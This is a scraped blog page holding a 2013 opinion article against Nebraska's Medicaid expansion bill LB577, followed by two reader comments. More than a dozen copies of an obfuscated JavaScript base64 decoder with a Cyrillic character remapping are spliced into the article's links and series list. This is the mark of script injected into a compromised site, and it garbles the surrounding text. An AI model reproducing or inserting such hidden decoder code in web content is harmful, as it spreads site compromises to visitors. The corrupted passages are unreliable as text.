Grassroots in Nebraska

Working towards Constitutional, limited government

  • Home
  • About
    • About GiN
    • Principles
    • Operating Philosophy
    • Policies
  • Elections
    • Election 2016
    • Election 2014
    • Election 2012
    • Election 2010
    • Local Elections
    • Sample Ballots
  • Local
    • City of Lincoln
    • Lancaster County
  • State
    • Your Representatives
    • Governor
    • NE Unicameral
  • Federal
  • Contact
    • Subscribe
    • Tip Submissions
You are here: Home / Federal / Budget / Money for Nothing and Health Care for Free

Money for Nothing and Health Care for Free

Originally published February 15, 2013, By Linda. Updated July 21, 2015. 2 Comments

Author’s Note: This is the seventh in a series of articles about Nebraska’s Medicaid program, the Unicameral’s apparent intent to expand it, and the many reasons why expansion is an uncommonly bad idea. Although they don't have to be read in order, here are links to the previously-published articles in the series - see the bottom for a complete, updated list: 

  1. NE Medicaid Expansion: The Race is On 
  2. Let's See What Condition Our Condition is In 
  3. function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand His Money" href="http://grassrootsne.com/?p=24144" target="_blank">People Don't Walk Away From a Fool and His Money
  4. function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Gramps) to the Home" href="http://grassrootsne.com/?p=24386" target="_blank">Sending Granny (and Gramps) to the Home 
  5. function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand You're Paying for It!" href="http://grassrootsne.com/?p=24122" target="_blank">Congratulations! She's Having His Baby . . . And You're Paying for It!
  6. Families Need Medicaid Like Fish Need Bicycles

*  *  *  *  *  *  *  *  *  *

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-health-care-for-free/money-raining-from-sky/" rel="attachment wp-att-24651">

  • Wanna know why our annual federal budget deficit is in excess of $1 trillion and federal debt is measured in the teens of trillions?
  • Wanna know why at least 40 percent of the money that's spent for "government" here in Nebraska is, in actuality, paid for with federal tax dollars?1 The linked information at nebraskaspending.gov indicates the proportion of federal to state dollars for the fiscal year ending in June, 2012, was ...continue
  •  Wanna know why, even with all of those federal dollars, our state senators still have trouble balancing the state budget?

All those questions can be answered in two words:  Bob Krist.  Yeah, it's all his fault.

Obviously, I'm kidding.  But only just.  Consider how Senator Krist, one of those fiscally-conservative Republicans we keep electing to the state legislature, tried to justify his support for LB577, the bill he co-sponsored to expand Nebraska's Medicaid program.  While reasonable people question whether we can afford to expand Medicaid, Krist says the question is exactly the opposite:

"[W]hether the state can afford to leave all those federal tax dollars on the table.  'The answer is no.  I think we have to participate, to play the game from the very beginning and adjust as we go with the best information possible,' he said."

Krist's very own entitlement mentality is showing.  One of the foundational elements of that state of mind is the earnest belief in the existence of a "free" lunch.

You see, the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandhealthtopics/medicaid/index.html" target="_blank">federal government has promised to pay 100 percent of the initial cost incurred in expanding Medicaid within any state opting for the voluntary expansion, with that commitment dropping down to 90 percent after three years and then continuing at that 90 percent level forevermore.  Senator Krist and a number of his colleagues in the Unicameral are laboring under the mistaken impression that this means the Medicaid expansion is "free" to Nebraskans.  "Found" money, if you will, that Krist, at least, thinks we cannot afford to leave on the table.   One wonders if the senator still believes in Santa Claus and the Tooth Fairy as well.

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-health-care-for-free/no-free-lunch/" rel="attachment wp-att-24652">Henry Hazlitt once said, "Everything we get, outside of the free gifts of nature, must in some way be paid for."  In common parlance, that means "there ain't no such thing as a free lunch," a statement inspired by the practice in 19th century saloons of permitting patrons to eat their fill for "free" once they purchased at least one drink, knowing that customers would seldom, if ever, stop at just one.  Saloon owners are rumored to have liberally salted the "free" food as well, just to ensure patrons became and remained thirsty.

At its heart, the observation that lunch is never free is based on a fundamental principle of economics. In order to get one thing we like, we have to give up another thing we like. A choice must be made. One individual or group CAN get something at no cost to themselves, but only so long as somebody else pays for it.

A question for Senator Krist and his buddies at the Unicameral:  Where does the federal government get its money?

Answer:  Mostly from taxes paid by individuals.  You know, people who live and work in the U.S.A., the country of which NEBRASKA is a part.

That means that, if our elected representatives vote to expand Nebraska's Medicaid program, the federal government promises to take money from NEBRASKANS in the form of taxes AND THEN SEND IT BACK TO US TO PAY FOR THE MEDICAID EXPANSION!!!!  What a simply fabulous deal!

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-health-care-for-free/money-growing-on-tree/" rel="attachment wp-att-24655">I've got news for you guys down there at the Unicam -- THIS MONEY IS NOT FREE.  THE HEALTH CARE IT WILL PAY FOR WILL NOT BE FREE.

In a typical year, Nebraska receives more in federal tax dollars than Nebraskans pay in federal taxes, but to date it's usually been a near thing.  Not so if Senator Krist and his cronies push LB577 through.  They apparently think we're not sponging off of our fellow American citizens enough.  Why else would they find those federal tax dollars laying there on the table so very tempting?

Look at our federal deficits and our total debt, for cripes sake!  Should it be our goal, as a state, to do everything humanly possible to suck up even more federal dollars than we already do?  Are we "entitled" to do that?  To take money that's collected from people living in each of the other 49 states to pay for things we want to have and to do here in Nebraska?  If so, why was everyone so incensed at U.S. Senator Ben Nelson when he and Harry Reid cooked up the "Cornhusker Kickback"?

It's ironic that the progressives among us, including Senator Krist and the 11 co-sponsors of LB577, would elevate the perceived needs/interests of the individual State of Nebraska above the fiscal and financial solvency of the collective -- our federal union.  But I shouldn't be surprised.  To them, there is apparently no connection between what they vote to spend here in Nebraska and the annual deficits and accumulated debt we, as a nation, incur.function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-health-care-for-free/free-money-on-mousetrap/" rel="attachment wp-att-24656">

Nebraska already gets at least 40 percent of the money it spends within the state each year from the federal government, and that doesn't include any federal funds used to support the University of Nebraska system.  Still, our state senators have trouble balancing the state budget, as they are required to do by law.

There seems to be nothing our state senators think we, as Nebraskans and as a nation, cannot afford.  It's that mentality, multiplied by 50 for each one of the 50 states, that has gotten us in the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-narrow.html" target="_blank">dire straits we, as a nation, currently occupy.  LB577 is a step that, if taken, will only dig us deeper into deficits and debt.  The key to getting out of any hole?  STOP DIGGING.

[catalyst_hook_box name="articleseries"]

This article series is about Nebraska’s Medicaid program, legislation introduced in the Unicameral aimed at expanding it, and the many reasons why expansion is an uncommonly bad idea.


This first grouping of articles don't necessarily have to be read in order as they are research, principle, and policy focused:

  • NE Medicaid Expansion: The Race is On
  • Let’s See What Condition Our Condition is In
  • function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand his money" href="http://grassrootsne.com/?p=24144" target="_blank">People Don’t Walk Away From a Fool and His Money
  • function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Gramps to the Home" href="http://grassrootsne.com/?p=24386" target="_blank">Sending Granny (and Gramps) to the Home
  • function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand you're paying for it" href="http://grassrootsne.com/?p=24122" target="_blank">Congratulations! She’s Having His Baby . . . And You’re Paying for It!
  • Families Need Medicaid Like Fish Need Bicycles
  • This article
  • Projections re Cost of Medicaid Expansion: Too Good to Be True
  • LB577: Nebraska’s Unaffordable Care Act
  • Pelosian Economics: Medicaid Expansion as Fiscal Stimulus

This next grouping of articles report events affecting the progress of legislation in the Unicameral, listed in the order in which they were published:

  • Unicameral's Health Committee to Hear Medicaid Expansion Bill (LB577) Feb. 28th
  • It's Funny? Even If Medicaid Expansion Saved Money, Citizens Wouldn't See a Penny
  • Nebraska Medicaid Expansion: LB577 in Limbo
  • Senator Bob Krist Withdraws As Co-Introducer of Medicaid Expansion Bill (LB577)

[catalyst_hook_box name="imagebox"]

Images in the post were found at the following links...

Raining dollars

No Free Lunch

Dollar tree

Free money trap

[catalyst_hook_box name="refbox"]

Share this article:

  • Email
  • Print
  • Twitter
  • Facebook
  • Pinterest
  • Google
  • More
  • Tumblr
  • Reddit
  • Delicious
  • LinkedIn

Notes & References   [ + ]

1. ↑ The linked information at nebraskaspending.gov indicates the proportion of federal to state dollars for the fiscal year ending in June, 2012, was 35/65.  However, this specifically excludes federal spending in connection with the University of Nebraska and the state college system, just to name two.  Including these federal dollars would, in all probability, push the ratio closer to 50/50 or more.  I chose to compromise, saying "at least 40 percent," to acknowledge the exclusion of certain funds from the calculation and to recognize that the percent of federal dollars tends to vary, regularly being in the 40 percent range since we here at GiN became aware of this website two or three fiscal years ago.

Filed Under: Budget, Budget, Character, Charity vs Welfare, Civil Society, Deficit, Featured, Federal, Founding Principles, Government Spending, Health Care, Medicaid, Nebraska, Personal Responsibility, Progressivism, Senators, State Legislation, State Sovereignty, Welfare Tagged With: aca medicaid, affordable care act medicaid, balance state budget, balanced state budget, Ben Nelson, cornhusker kickback, dire straits, economics of medicaid expansion, entitlement spending, entitlement spending nebraska, entitlements, expand medicaid, federal share of medicaid, federal share of medicaid spending, federal tax dollars are not found money, federal tax dollars are not free, federal tax dollars to pay for medicaid, found money, free health care, free healthcare, free money, government, government spending, Grassroots in Nebraska, Health Care, health care law, health care reform, healthcare, healthcare reform, henry hazlitt, lb 577, lb577, legislature, limited government, medicaid, medicaid expansion, money for nothing and chicks for free, money for nothing and health care for free, ne, ne medicaid, ne medicaid expansion, ne medicaid funding, ne medicaid spending, nebr, nebraska, nebraska budget, nebraska legislature, nebraska medicaid, nebraska medicaid benefits, nebraska medicaid funding, nebraska medicaid programs, nebraska medicaid reform, nebraska medicaid reform legislation, nebraska unicameral, no free lunch, no such thing as a free lunch, obamacare, politicians, senator ben nelson, senator bob krist, senator harry reid, source of funds nebraska, sources of funds federal government, state senator bob krist, state senator krist, state senators, state share of medicaid spending, Unicameral, voluntary medicaid expansion, welfare, welfare spending

Comments

  1. Tom says

    November 25, 2014 at 11:33 am

    You are right the money is not “free” we have already sent it Washington. It is Nebraskan’s money they are offering back to us. We have to choices we can spend it here or we can send it back to Washington. I think we already send too much to Washington. So if they want to send it back that is fine. For every dollar we leave on the table in Washington Nebraskans have to pay for in some way. It will cost the average Nebraskan about $150 per year to leave the money in Washington. We have already paid it in if they want to give it back we should take it. Washington will just send it elsewhere so why screw our own people. Healthcare is an industry so the money spent will improve Nebraska’s economy and provide a needed economic boost.

    Reply
    • LindaLinda says

      December 24, 2014 at 4:00 pm

      Tom:
      Thanks for posting your comment. The point you raise is not unique, but it is fallacious in more than one way.

      First of all, this is NOT money Nebraskans have already sent Washington’s way. Medicaid expansion is just that — E-X-P-A-N-S-I-O-N. The program currently covers certain children and their parent(s), the disabled, and the elderly, all of whom make less than a certain income level. Expanded Medicaid is an entirely new entitlement program that covers anyone between the ages of 18 and 65 who makes less than the specified income. If we, as a state, choose not to cover those additional people, the money stays here. No federal taxes will be spent for matching funds in Nebraska and no state tax money will be collected and spent to pay for the rest.

      And it’s a canard to say that Washington will send Nebraska’s money to other states if Nebraska chooses not to expand Medicaid. If Nebraska does not spend Medicaid expansion monies, those funds are NOT transferred to other states. Under the legislation, the mandate in other states continues to be 138 percent of the federal poverty level, regardless of what Nebraska does. The FMAP (federal medical assistance percentage) in other states does NOT adjust according to how many states do or do not participate in the Medicaid expansion.

      As a further point about the money, if we expand Medicaid, given the annual deficits and overall federal debt we’re racking up, the money to pay for the expansion will not be our own. It’s money that our children and grandchildren will have to pay. If you’re a fan of vintage cartoons, you might recall Wimpy from the old Popeye show. Wimpy’s stock line was, “I’ll gladly pay you Tuesday for a hamburger today.” Because Wimpy made this request in every episode of the show. sometimes repeating it to every other character he encountered, the implicit punchline was that, for Wimpy, Tuesday never came. If we expand Nebraska’s Medicaid Program, we’re essentially all Wimpys now, except we’re saying, “We’ll gladly leave our children and grandchildren to pay for the healthcare we want to give away free to others today.”

      If you think expanding an entitlement program will create an economic boom in Nebraska, you haven’t been paying attention. Read a subsequent article in the series re Pelosian Economics for my full response.

      Linda

      Reply
You are here: Home / Federal / Budget / Money for Nothing and Health Care for Free

We welcome civil comments, discussion and debate: Cancel reply

We're glad you've chosen to join the discussion. All comments are moderated according to our official commenting policy.

If you wish to format your comment a bit, simply highlight text, then click the appropriate button. (b = bold, i = italics)

Latest

Dream Small

Dream Small

In 2016, during a period of about a year when it seemed possible -- even likely … Read full article...

Nebraska 2018 Primary Election Sample Ballots

Nebraska 2018 Primary Election Sample Ballots

Back by popular dem

loading Cancel
Post was not sent - check your email addresses!
Email check failed, please try again
Sorry, your blog cannot share posts by email.